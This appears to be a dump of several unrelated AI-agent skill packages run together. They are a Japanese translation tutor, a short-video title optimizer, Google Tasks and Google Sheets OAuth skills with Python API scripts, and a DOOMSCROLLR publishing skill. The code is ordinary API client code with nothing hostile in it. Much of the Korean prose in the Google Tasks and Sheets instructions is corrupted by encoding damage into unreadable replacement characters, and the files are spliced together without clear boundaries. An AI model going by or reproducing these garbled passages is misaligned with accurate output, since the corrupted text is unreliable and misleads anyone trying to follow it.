✓ 日本語(にほんご)を勉強(べんきょう)する
✗ 日本語を勉強する
```
## Translation Principles
- **Meaning over literalism** — Convey intent, not word-for-word
- **Match register** — Preserve formality (敬語/丁寧語/タメ口)
- **Cultural context** — Explain nuances that don't translate directly
- **Idioms** — Provide equivalents or explain meaning for ことわざ
## Example
Input: `今日は暑いですね`
```
*TRANSLATION*
It's hot today, isn't it?
*READING*
今日(きょう)は暑(あつ)いですね
*VOCABULARY*
• 今日(きょう) — _today_
• 暑い(あつい) — _hot (weather)_
*NOTES*
The ね particle invites agreement — a common Japanese conversation pattern. 丁寧語(ていねいご) (polite form) with です.
```
## Formatting by Platform
- **Slack/Discord**: Use `*BOLD*` and `_italic_` as shown
- **Plain text (iMessage)**: CAPS for headings, no markdown
## Interaction Style
- Ask for context if it affects translation (formal vs casual, business vs personal)
- Flag ambiguities and offer alternatives
- Explain grammar deeper on request
## API Integration
This skill is powered by SkillBoss API Hub. Example invocation:
```python
import requests, os
SKILLBOSS_API_KEY = os.environ["SKILLBOSS_API_KEY"]
def translate_japanese(text: str) -> str:
r = requests.post(
"https://api.skillboss.com/v1/pilot",
headers={
"Authorization": f"Bearer {SKILLBOSS_API_KEY}",
"Content-Type": "application/json"
},
json={
"type": "chat",
"inputs": {
"messages": [
{"role": "system", "content": "You are a Japanese-English translator and tutor. Provide structured translations with readings, vocabulary, and cultural notes."},
{"role": "user", "content": text}
]
},
"prefer": "balanced"
},
timeout=60
)
return r.json()["result"]["choices"][0]["message"]["content"]
```
FILE:README.md
# Japanese Translation And Tutor
Published via SkillPublisher.
## Installation
```bash
clawhub install mar-japanese-translation-and-tutor
```
> More info: https://skillboss.co/skills/japanese-translation-and-tutor
## Usage
See SKILL.md for details.
## License
MIT
Optimizes short video titles and descriptions for SEO, click-through rates, and platform-specific limits using keyword strategies and A/B testing frameworks.
# Short Video Title & Description Optimizer
Optimizes video titles and descriptions for discoverability, curiosity, and click-through — with platform-specific character limits and keyword strategies.
## Target Users
- Content creators
- SEO-focused marketers
- Social media managers
- Multi-platform publishers
## When to Use
- Writing titles for new videos
- Improving discoverability of underperforming content
- Crafting platform-optimized descriptions
- A/B testing title variations across platforms
## Core Workflow
1. Title formula selection
2. Keyword research guidance
3. Platform-specific constraints
4. Description structure
5. A/B testing framework for titles
6. Localization considerations
## Inputs
- Video topic
- Target platform(s)
- Target keywords
- Brand voice
- Target audience
## Expected Outputs
- 3–5 title variations per platform
- Description template
- Hashtag strategy
- Keyword integration notes
## Example Prompts
- "Optimize the title for my Douyin video: 'How I organize my desk' — target audience: students."
- "Give me 5 title variations for a tech review of the latest iPhone — one for each platform."
- "Write a Douyin description for a cooking tutorial, including hashtag strategy."
## Trigger Keywords
video title, title optimization, description writing, video SEO, hashtag strategy, click-through title
## Safety & Limitations
Title and description guidance is creative. No automated publishing or platform API integration. Users are responsible for compliance with platform content policies and trademark rules.
---
*Generated for project short-video-skills-2026-04-27*
FILE:skill.json
{
"slug": "sv-title-optimizer",
"name": "Short Video Title & Description Optimizer",
"description": "Optimizes video titles and descriptions for discoverability, curiosity, and click-through — with platform-specific character limits and keyword strategies.",
"type": "descriptive",
"requires_api": false,
"readiness": "stable",
"tags": [
"video",
"title",
"description",
"SEO",
"optimization",
"copywriting",
"descriptive"
],
"trigger_keywords": [
"video title",
"title optimization",
"description writing",
"video SEO",
"hashtag strategy",
"click-through title"
],
"max_files": 4,
"language": "en",
"safety": "document-only informational guidance"
}
FILE:README.md
# Short Video Title & Description Optimizer
Optimizes video titles and descriptions for discoverability, curiosity, and click-through — with platform-specific character limits and keyword strategies.
## Target Users
- Content creators
- SEO-focused marketers
- Social media managers
- Multi-platform publishers
## When to Use
- Writing titles for new videos
- Improving discoverability of underperforming content
- Crafting platform-optimized descriptions
- A/B testing title variations across platforms
## Trigger Keywords
video title, title optimization, description writing, video SEO, hashtag strategy, click-through title
## Full Documentation
See [SKILL.md](./SKILL.md) for complete workflow, inputs, outputs, and examples.
---
*Generated for project short-video-skills-2026-04-27*
FILE:ACCEPTANCE.md
# Acceptance Checklist — Short Video Title & Description Optimizer
## Criteria
- [x] Document-only: no handler.py, scripts, APIs, or executable code
- [x] No network calls or credential handling
- [x] English-first documentation
- [x] File count ≤ 10 (target: exactly 4)
- [x] Includes safety disclaimer
- [x] skill.json is valid with `requires_api: false`
- [x] No drift from design-spec.md
## Files in This Skill
1. `SKILL.md` — Full workflow, inputs, outputs, examples, safety
2. `README.md` — Quick-start reference
3. `skill.json` — Machine-readable metadata
4. `ACCEPTANCE.md` — This checklist
## Verification Commands
```bash
# Count files in this directory
find /Users/jianghaidong/.openclaw/skills/sv-title-optimizer -type f | wc -l
# Expected: 4
# Verify skill.json
cat /Users/jianghaidong/.openclaw/skills/sv-title-optimizer/skill.json | grep requires_api
# Expected: "requires_api": false
# Verify no code files
find /Users/jianghaidong/.openclaw/skills/sv-title-optimizer -name "*.py" -o -name "*.sh" | wc -l
# Expected: 0
```
---
*Generated for project short-video-skills-2026-04-27*
Google Tasks API ���� �� (Task) �리. OAuth 2.0 �� ��. ���� �� � 목�� 조�, ��, ��, �� �리�� � ��.
---
name: andrew-google-tasks
description: Google Tasks API ���� �� (Task) �리. OAuth 2.0 �� ��. ���� �� � 목�� 조�, ��, ��, �� �리�� � ��.
---
# Google Tasks
## Overview
Google Tasks API 를 ���� ���� �� � (Tasks) � 조�, ��, ��, �� �리�� � �� ������. OAuth 2.0 ��� ���� ���� Tasks � �근����.
## Setup
### 1. OAuth ������� �� ��
�미 구� �린�, ��� ���과 ��� �� ��� ������:
```bash
# �� ��� �미 ���� ��면 ��
ls ~/.google-credentials.json
```
### 2. �존� ��
```bash
pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib
```
### 3. �� ����
```bash
cd /Users/andrew/.openclaw/workspace/google-tasks
python3 scripts/tasks_ops.py
```
첫 ��� ����� �리고 Google ���� �그� � ��� ����� ����.
## Capabilities
### �� 목� 조�
**���� �� 목� ��:**
```
"� �� � 목� 보��"
"�� �� �� �� �� ��?"
```
### � �� ��
**� �� � ��:**
```
"�� 미� ���� � �����, ��� �� �� 2 �"
"����� 보고�를 ����� ��, �모: 5 ��� ��"
```
### �� �� �리
**�� ��:**
```
"�� 미� �� ��� �����"
```
### �� ��
**�� �� �경:**
```
"����� 보고� ���� �� 주 ���� ���"
```
### �� ��
**�� 취�:**
```
"���� �� �����"
```
## Usage Examples
### �� 1: �� 목� 조�
```python
from scripts.tasks_ops import list_tasks, format_task
# 기본 목�� �� 조�
tasks = list_tasks('@default')
for task in tasks:
print(format_task(task))
```
### �� 2: � �� ��
```python
from scripts.tasks_ops import create_task
# � �� ��
task = create_task(
tasklist_id='@default',
title='����� 보고� ��',
notes='5 ��� ��, �����',
due='2026-04-20T17:00:00+09:00'
)
print(f"�� �� ��: {task['title']}")
```
### �� 3: �� �� �리
```python
from scripts.tasks_ops import complete_task
# �� ��
task_id = '��_ID_�기�'
complete_task('@default', task_id)
print("�� �� �리�!")
```
### �� 4: �� 목� 목� 조�
```python
from scripts.tasks_ops import list_tasklists
tasklists = list_tasklists()
for tl in tasklists:
print(f"{tl['title']} - {tl['id']}")
```
## Files Structure
```
google-tasks/
��� SKILL.md
��� scripts/
��� tasks_ops.py # Tasks API �� ����
```
## Security Notes
- OAuth ����� `~/.google-tasks-token.pickle` � �����
- ������� ��� `~/.google-credentials.json` � ����� (�린�, ��� ���과 공�)
- � ���� `.gitignore` � ����� ����
- �� ��: `https://www.googleapis.com/auth/tasks` (Tasks �체 �근)
## Troubleshooting
**"OAuth ������� �� ��� ����" ��:**
- `~/.google-credentials.json` ��� ��� ��
- 구� �린� ��� �� � �미 ��� �� �����
**�� ���:**
- ���� ��� ���고 ���: `rm ~/.google-tasks-token.pickle`
**�� ��:**
- ����� �� � ���: `rm ~/.google-tasks-token.pickle && python3 scripts/tasks_ops.py`
## Integration with Other Google Skills
Same OAuth credentials (`~/.google-credentials.json`) are shared with `google-calendar` and `google-sheets` skills, so you only need to authenticate once!
FILE:scripts/tasks_ops.py
#!/usr/bin/env python3
"""
Google Tasks 연산 함수들
작업 (Task) 생성, 조회, 수정, 완료 처리 등
"""
from pathlib import Path
from google.oauth2.credentials import Credentials
from google.auth.transport.requests import Request
from google_auth_oauthlib.flow import InstalledAppFlow
from googleapiclient.discovery import build
import pickle
# 권한 범위
SCOPES = ['https://www.googleapis.com/auth/tasks']
# 인증 파일 경로
CREDENTIALS_FILE = Path.home() / '.google-credentials.json'
TOKEN_FILE = Path.home() / '.google-tasks-token.pickle'
def authenticate():
"""
OAuth 2.0 인증 수행 및 Credentials 반환
"""
creds = None
# 기존 토큰이 있으면 로드
if TOKEN_FILE.exists():
with open(TOKEN_FILE, 'rb') as token:
creds = pickle.load(token)
# 토큰이 없거나 만료되었으면 새로 인증
if not creds or not creds.valid:
if creds and creds.expired and creds.refresh_token:
creds.refresh(Request())
else:
if not CREDENTIALS_FILE.exists():
raise FileNotFoundError(
f"OAuth 클라이언트 키 파일이 없습니다.\n"
f"{CREDENTIALS_FILE} 파일을 준비해주세요."
)
flow = InstalledAppFlow.from_client_secrets_file(
str(CREDENTIALS_FILE), SCOPES
)
creds = flow.run_local_server(port=8083)
# 토큰 저장
with open(TOKEN_FILE, 'wb') as token:
pickle.dump(creds, token)
return creds
def get_tasks_service():
"""
Google Tasks API 서비스 객체 반환
"""
creds = authenticate()
service = build('tasks', 'v1', credentials=creds)
return service
def list_tasklists():
"""
사용자의 모든 작업 목록 (Task Lists) 조회
"""
service = get_tasks_service()
result = service.tasklists().list(maxResults=100).execute()
tasklists = result.get('items', [])
return tasklists
def list_tasks(tasklist_id='@default'):
"""
특정 작업 목록의 모든 작업 조회
Args:
tasklist_id: 작업 목록 ID (@default: 기본 목록 사용)
Returns:
작업 목록
"""
service = get_tasks_service()
result = service.tasks().list(tasklist=tasklist_id, showCompleted=False).execute()
tasks = result.get('items', [])
return tasks
def create_task(tasklist_id, title, notes='', due=None, parent=None):
"""
새 작업 생성
Args:
tasklist_id: 작업 목록 ID
title: 작업 제목
notes: 메모/설명
due: 마감일 (ISO 8601 형식, 예: '2026-04-20T10:00:00+09:00')
parent: 부모 작업 ID (하위 작업일 경우)
Returns:
생성된 작업 객체
"""
service = get_tasks_service()
task = {
'title': title,
'notes': notes
}
if due:
task['due'] = due
if parent:
task['parent'] = parent
created_task = service.tasks().insert(
tasklist=tasklist_id,
body=task
).execute()
return created_task
def update_task(tasklist_id, task_id, title=None, notes=None, due=None, status=None):
"""
작업 수정
Args:
tasklist_id: 작업 목록 ID
task_id: 작업 ID
title: 새 제목 (선택)
notes: 새 메모 (선택)
due: 새 마감일 (선택)
status: 새 상태 ('needsAction' 또는 'completed')
Returns:
수정된 작업 객체
"""
service = get_tasks_service()
# 기존 작업 가져오기
task = service.tasks().get(tasklist=tasklist_id, task=task_id).execute()
# 업데이트
if title:
task['title'] = title
if notes is not None:
task['notes'] = notes
if due:
task['due'] = due
if status:
task['status'] = status
updated_task = service.tasks().update(
tasklist=tasklist_id,
task=task_id,
body=task
).execute()
return updated_task
def complete_task(tasklist_id, task_id):
"""
작업 완료 처리
Args:
tasklist_id: 작업 목록 ID
task_id: 작업 ID
Returns:
완료된 작업 객체
"""
return update_task(tasklist_id, task_id, status='completed')
def delete_task(tasklist_id, task_id):
"""
작업 삭제
Args:
tasklist_id: 작업 목록 ID
task_id: 작업 ID
"""
service = get_tasks_service()
service.tasks().delete(tasklist=tasklist_id, task=task_id).execute()
return True
def format_task(task, indent=0):
"""
작업 포맷팅 (출력용, 하위 작업 포함)
"""
prefix = ' ' * indent
title = task.get('title', 'No title')
status = '✅' if task.get('status') == 'completed' else '⬜'
due = task.get('due', '')
notes = task.get('notes', '')
# 마감일 포맷팅
if due:
try:
due = due.split('T')[0] # 날짜 부분만 추출
except:
pass
line = f"{prefix}{status} {title}"
if due:
line += f" 📅 {due}"
lines = [line]
if notes and indent < 2:
lines.append(f"{prefix} 📝 {notes}")
return '\n'.join(lines)
def main():
"""
테스트용 메인 함수
"""
print("✅ Google Tasks 테스트\n")
try:
# 작업 목록 목록
print("=== 작업 목록 (Task Lists) ===")
tasklists = list_tasklists()
if tasklists:
for tl in tasklists:
print(f" • {tl['title']} ({tl['id']})")
else:
print(" 작업 목록이 없습니다.")
# 기본 작업 목록의 작업들
print("\n=== 기본 작업 목록의 작업 ===")
tasks = list_tasks('@default')
if tasks:
for task in tasks:
print(format_task(task))
else:
print(" 할 일이 없습니다! 🎉")
print("\n✅ 인증 및 연결 성공!")
except FileNotFoundError as e:
print(f"\n❌ {e}")
except Exception as e:
print(f"\n❌ 오류 발생: {e}")
if __name__ == '__main__':
main()
Google Sheets API ���� ������� �기/�기, ��, ��맷� �리. OAuth 2.0 �� ��. ���� 구� ����� ����를 조��고 ���� � ��.
---
name: andrew-google-sheets
description: Google Sheets API ���� ������� �기/�기, ��, ��맷� �리. OAuth 2.0 �� ��. ���� 구� ����� ����를 조��고 ���� � ��.
---
# Google Sheets
## Overview
Google Sheets API 를 ���� ���� �������를 조�, ��, ���� � �� ������. OAuth 2.0 ��� ���� ���� Google Sheets � �근����.
## Setup
### 1. OAuth ������� �� ��
�미 구� �린�� ��� �� ��� ������:
```bash
# �� ��� �미 ���� ��면 ��
ls ~/.google-credentials.json
```
### 2. �존� ��
```bash
pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib
```
### 3. �� ����
```bash
cd /Users/andrew/.openclaw/workspace/skills/google-sheets
python3 scripts/oauth_setup.py
```
첫 ��� ����� �리고 Google ���� �그� � ��� ����� ����.
## Capabilities
### ������� �기
**���� 조�:**
```
"���� ��� '�무��' � �근 10 � 보��"
"A1 ��� D10 �� ���� ���"
```
**��� ��� 조�:**
```
"'2026 � 4 �' ���� 모� ���� 보��"
```
### ������� �기
**���� ��:**
```
"�무�� ���� � �목 ��: 'OpenClaw ��', ��� '2026-04-21', ��� '2026-04-21', ��� '100%'"
```
**���� ��:**
```
"�무��� 6 �째 � ���� '100%' � ��������"
```
### ������� �리
**� ������� ��:**
```
"� ������� '����� �리' ����"
```
**��� 목� ��:**
```
"� 구� ��� 목� 보��"
```
## Usage Examples
### �� 1: ������� 목� 조�
```python
from scripts.sheets_ops import list_spreadsheets
# ���� 모� ������� 목�
sheets = list_spreadsheets()
for sheet in sheets:
print(f"{sheet['name']} - {sheet['spreadsheetId']}")
```
### �� 2: ��� �� �기
```python
from scripts.sheets_ops import read_range
# ��� ���� �� �기
data = read_range('SPREADSHEET_ID', 'Sheet1!A1:D10')
for row in data:
print(row)
```
### �� 3: ���� �기
```python
from scripts.sheets_ops import write_range
# ��� ��� ���� �기
write_range(
spreadsheet_id='SPREADSHEET_ID',
range_name='Sheet1!A1:D1',
values=[['���', '���', '���', '���']]
)
```
### �� 4: ���� �� (Append)
```python
from scripts.sheets_ops import append_rows
# � � ��
append_rows(
spreadsheet_id='SPREADSHEET_ID',
range_name='Sheet1!A:D',
values=[['� ��', '2026-04-21', '', '0%']]
)
```
### �� 5: � ������� ��
```python
from scripts.sheets_ops import create_spreadsheet
# � ������� ��
new_sheet = create_spreadsheet('�무��')
print(f"�� ��: {new_sheet['spreadsheetId']}")
```
## Files Structure
```
google-sheets/
��� SKILL.md
��� scripts/
��� oauth_setup.py # OAuth 2.0 �� � ���� �리
��� sheets_ops.py # Sheets API �� ����
```
## Security Notes
- OAuth ����� `~/.google-sheets-token.pickle` � �����
- ������� ��� `~/.google-credentials.json` � ����� (�린�� 공�)
- � ���� `.gitignore` � ����� ����
- �� ��: `https://www.googleapis.com/auth/spreadsheets` (������� �체 �근)
## Troubleshooting
**"OAuth ������� �� ��� ����" ��:**
- `~/.google-credentials.json` ��� ��� ��
- 구� �린� ��� �� � �미 ��� �� �����
**�� ���:**
- ���� ��� ���고 ���: `rm ~/.google-sheets-token.pickle`
**�� ��:**
- ����� �� � ���: `rm ~/.google-sheets-token.pickle && python3 scripts/oauth_setup.py`
## Integration with Other Google Skills
Same OAuth credentials (`~/.google-credentials.json`) are shared with `google-calendar` and `google-tasks` skills, so you only need to authenticate once!
FILE:scripts/oauth_setup.py
#!/usr/bin/env python3
"""
OAuth 2.0 인증 설정 및 토큰 관리
Google Sheets API 접근을 위한 인증 처리
"""
import os
import pickle
from pathlib import Path
from google.auth.transport.requests import Request
from google.oauth2.credentials import Credentials
from google_auth_oauthlib.flow import InstalledAppFlow
from googleapiclient.discovery import build
# 권한 범위 (Sheets 읽기/쓰기)
SCOPES = ['https://www.googleapis.com/auth/spreadsheets']
# 토큰 저장 경로
TOKEN_FILE = Path.home() / '.google-sheets-token.pickle'
CREDENTIALS_FILE = Path.home() / '.google-credentials.json'
def authenticate():
"""
OAuth 2.0 인증 수행 및 Credentials 반환
처음 실행시 브라우저에서 로그인 진행
"""
creds = None
# 기존 토큰이 있으면 로드
if TOKEN_FILE.exists():
with open(TOKEN_FILE, 'rb') as token:
creds = pickle.load(token)
# 토큰이 없거나 만료되었으면 새로 인증
if not creds or not creds.valid:
if creds and creds.expired and creds.refresh_token:
# 리프레시
creds.refresh(Request())
else:
# OAuth 클라이언트 키가 있어야 함
if not CREDENTIALS_FILE.exists():
raise FileNotFoundError(
f"OAuth 클라이언트 키 파일이 없습니다.\n"
f"Google Cloud Console 에서 다운로드한 client_secret_*.json 파일을\n"
f"{CREDENTIALS_FILE} 로 복사해주세요."
)
# OAuth 흐름 시작
flow = InstalledAppFlow.from_client_secrets_file(
str(CREDENTIALS_FILE), SCOPES
)
creds = flow.run_local_server(port=8081)
# 토큰 저장
with open(TOKEN_FILE, 'wb') as token:
pickle.dump(creds, token)
return creds
def get_sheets_service():
"""
Google Sheets API 서비스 객체 반환
"""
creds = authenticate()
service = build('sheets', 'v4', credentials=creds)
return service
def get_drive_service():
"""
Google Drive API 서비스 객체 반환 (스프레드 시트 목록용)
"""
creds = authenticate()
service = build('drive', 'v3', credentials=creds)
return service
def list_spreadsheets():
"""
사용자의 모든 스프레드시트 목록 조회
"""
drive_service = get_drive_service()
# 스프레드시트 파일만 검색
results = drive_service.files().list(
q="mimeType='application/vnd.google-apps.spreadsheet'",
pageSize=25,
fields="files(id, name, createdTime, modifiedTime)"
).execute()
files = results.get('files', [])
return files
def main():
"""
인증 테스트 및 스프레드시트 목록 출력
"""
try:
print("🔐 인증 중...")
spreadsheets = list_spreadsheets()
print(f"\n✅ 총 {len(spreadsheets)} 개의 스프레드시트가 있습니다:\n")
for sheet in spreadsheets:
name = sheet.get('name', 'Unknown')
created = sheet.get('createdTime', 'Unknown')[:10]
print(f" • {name}")
print(f" ID: {sheet['id']}")
print(f" 생성일: {created}\n")
print("✅ 인증 성공!")
except FileNotFoundError as e:
print(f"\n❌ {e}")
print("\n설정 방법:")
print("1. Google Cloud Console 에서 OAuth 클라이언트 키 다운로드")
print("2. 파일을 ~/.google-credentials.json 으로 복사")
print("3. 다시 실행")
except Exception as e:
print(f"\n❌ 오류 발생: {e}")
if __name__ == '__main__':
main()
FILE:scripts/sheets_ops.py
#!/usr/bin/env python3
"""
Google Sheets 연산 함수들
스프레드시트 읽기, 쓰기, 생성, 수정 등
"""
from datetime import datetime
from oauth_setup import get_sheets_service, get_drive_service, list_spreadsheets
def read_range(spreadsheet_id, range_name):
"""
스프레드시트의 특정 범위 읽기
Args:
spreadsheet_id: 스프레드시트 ID
range_name: 범위 명 (예: 'Sheet1!A1:D10')
Returns:
2 차원 데이터 목록
"""
service = get_sheets_service()
result = service.spreadsheets().values().get(
spreadsheetId=spreadsheet_id,
range=range_name
).execute()
values = result.get('values', [])
return values
def write_range(spreadsheet_id, range_name, values, value_input_option='USER_ENTERED'):
"""
스프레드시트의 특정 범위 쓰기
Args:
spreadsheet_id: 스프레드시트 ID
range_name: 범위 명 (예: 'Sheet1!A1:D1')
values: 쓸 데이터 (2 차원 목록)
value_input_option: 값 입력 옵션 (RAW 또는 USER_ENTERED)
Returns:
업데이트된 정보
"""
service = get_sheets_service()
body = {
'values': values
}
result = service.spreadsheets().values().update(
spreadsheetId=spreadsheet_id,
range=range_name,
valueInputOption=value_input_option,
body=body
).execute()
return result
def append_rows(spreadsheet_id, range_name, values, value_input_option='USER_ENTERED'):
"""
스프레드시트에 행 추가
Args:
spreadsheet_id: 스프레드시트 ID
range_name: 범위 명 (예: 'Sheet1!A:D')
values: 추가할 데이터 (2 차원 목록)
value_input_option: 값 입력 옵션
Returns:
추가된 정보
"""
service = get_sheets_service()
body = {
'values': values
}
result = service.spreadsheets().values().append(
spreadsheetId=spreadsheet_id,
range=range_name,
valueInputOption=value_input_option,
insertDataOption='INSERT_ROWS',
body=body
).execute()
return result
def batch_read(spreadsheet_id, ranges):
"""
여러 범위 한 번에 읽기
Args:
spreadsheet_id: 스프레드시트 ID
ranges: 범위 목록 (예: ['Sheet1!A1:D10', 'Sheet2!A1:C5'])
Returns:
각 범위의 데이터 딕셔너리
"""
service = get_sheets_service()
result = service.spreadsheets().values().batchGet(
spreadsheetId=spreadsheet_id,
ranges=ranges
).execute()
value_ranges = result.get('valueRanges', [])
return value_ranges
def batch_write(spreadsheet_id, value_ranges, value_input_option='USER_ENTERED'):
"""
여러 범위 한 번에 쓰기
Args:
spreadsheet_id: 스프레드시트 ID
value_ranges: [{'range': 'Sheet1!A1:B2', 'values': [...]}, ...]
value_input_option: 값 입력 옵션
Returns:
업데이트된 정보
"""
service = get_sheets_service()
body = {
'valueInputOption': value_input_option,
'data': value_ranges
}
result = service.spreadsheets().values().batchUpdate(
spreadsheetId=spreadsheet_id,
body=body
).execute()
return result
def create_spreadsheet(title, sheet_title='Sheet1'):
"""
새 스프레드시트 생성
Args:
title: 스프레드시트 제목
sheet_title: 초기 시트 제목
Returns:
생성된 스프레드시트 정보
"""
service = get_sheets_service()
spreadsheet = {
'properties': {
'title': title
},
'sheets': [
{
'properties': {
'title': sheet_title
}
}
]
}
result = service.spreadsheets().create(
body=spreadsheet
).execute()
return result
def get_spreadsheet_info(spreadsheet_id):
"""
스프레드시트 메타데이터 조회
Args:
spreadsheet_id: 스프레드시트 ID
Returns:
스프레드시트 정보
"""
service = get_sheets_service()
result = service.spreadsheets().get(
spreadsheetId=spreadsheet_id
).execute()
return result
def clear_range(spreadsheet_id, range_name):
"""
특정 범위 내용 지우기
Args:
spreadsheet_id: 스프레드시트 ID
range_name: 범위 명
"""
service = get_sheets_service()
result = service.spreadsheets().values().clear(
spreadsheetId=spreadsheet_id,
range=range_name
).execute()
return result
def find_spreadsheet_by_name(name):
"""
이름으로 스프레드시트 찾기
Args:
name: 스프레드시트 이름 (일부 일치)
Returns:
일치하는 스프레드시트 목록
"""
spreadsheets = list_spreadsheets()
matches = []
for sheet in spreadsheets:
if name.lower() in sheet.get('name', '').lower():
matches.append(sheet)
return matches
def format_row(row_data, headers):
"""
딕셔너리 데이터를 행 데이터로 변환
Args:
row_data: {'header1': 'value1', 'header2': 'value2'}
headers: ['header1', 'header2', ...]
Returns:
['value1', 'value2', ...]
"""
return [row_data.get(h, '') for h in headers]
def main():
"""
테스트용 메인 함수
"""
print("📊 Google Sheets 테스트\n")
# 스프레드시트 목록
print("=== 스프레드시트 목록 ===")
spreadsheets = list_spreadsheets()
if spreadsheets:
for sheet in spreadsheets[:5]: # 상위 5 개만
print(f" • {sheet['name']}")
print(f" ID: {sheet['id']}")
else:
print(" 스프레드시트가 없습니다.")
# 특정 스프레드시트 읽기 테스트
# if spreadsheets:
# test_id = spreadsheets[0]['id']
# print(f"\n=== 첫 번째 스프레드시트 데이터 ===")
# data = read_range(test_id, 'Sheet1!A1:D10')
# for row in data:
# print(row)
# 새 스프레드시트 생성 테스트
# new_sheet = create_spreadsheet('테스트 스프레드시트')
# print(f"\n✅ 새 스프레드시트 생성 완료: {new_sheet['spreadsheetId']}")
if __name__ == '__main__':
main()
Manage DOOMSCROLLR audience hubs by publishing posts, handling subscribers, creating products, connecting feeds, and retrieving embed codes securely.
--- name: doomscrollr description: Build and operate DOOMSCROLLR owned-audience hubs: publish posts, manage subscribers, create products, connect RSS/Pinterest, get embed code, and use the DOOMSCROLLR MCP/API safely. homepage: https://doomscrollr.com --- # DOOMSCROLLR Use this skill when the user wants to build, grow, or operate an owned audience with DOOMSCROLLR. ## Setup This is an instruction-only skill. It does not install packages or request secrets by itself. Use it with a DOOMSCROLLR MCP connector or REST client that the user has already configured with their own API key. Never ask the user to paste API keys into chat. ## Best interface Prefer the DOOMSCROLLR MCP server when available: - Remote MCP: `https://mcp.doomscrollr.com/mcp` - Auth header: `Authorization: Bearer <DOOMSCROLLR_API_KEY>` - Local MCP package, when separately installed by the user: `@doomscrollr/mcp-server` - Official MCP Registry name: `com.doomscrollr/mcp` If MCP is unavailable, the REST API is at `https://doomscrollr.com/api/v1` and uses the same Bearer API key. ## Common workflows - **Check state first:** get profile/settings before account-specific work. - **Publish:** create link/image posts; use `draft` or `scheduled` when timing or approval is unclear. - **Audience:** add/list/update subscribers and tags; only use data the user provided for that purpose. - **Products:** create/list/update products; ask before changing price/inventory. - **Capture:** fetch embed code and explain where to paste it. - **Integrations:** connect/status/disconnect RSS or Pinterest when the user gives source URLs. ## Safety rules - Ask for explicit confirmation before deleting posts, products, subscribers, or integrations. - Never run domain purchase/payment flows unless the user explicitly approves the exact payment test or purchase. - Do not add REST account deletion; DOOMSCROLLR intentionally does not expose it. - If an API call returns `429`, explain the monthly plan limit and reset time from the response. - Keep API keys out of logs, screenshots, and final replies. ## Useful public docs - GPT Actions: `https://doomscrollr.com/docs/openai/gpt-actions.md` - Claude: `https://doomscrollr.com/docs/claude.md` - OpenClaw: `https://doomscrollr.com/docs/openclaw.md` - Full API schema: `https://doomscrollr.com/openapi.json` - Focused GPT Actions schema: `https://doomscrollr.com/openapi-gpt-actions.json`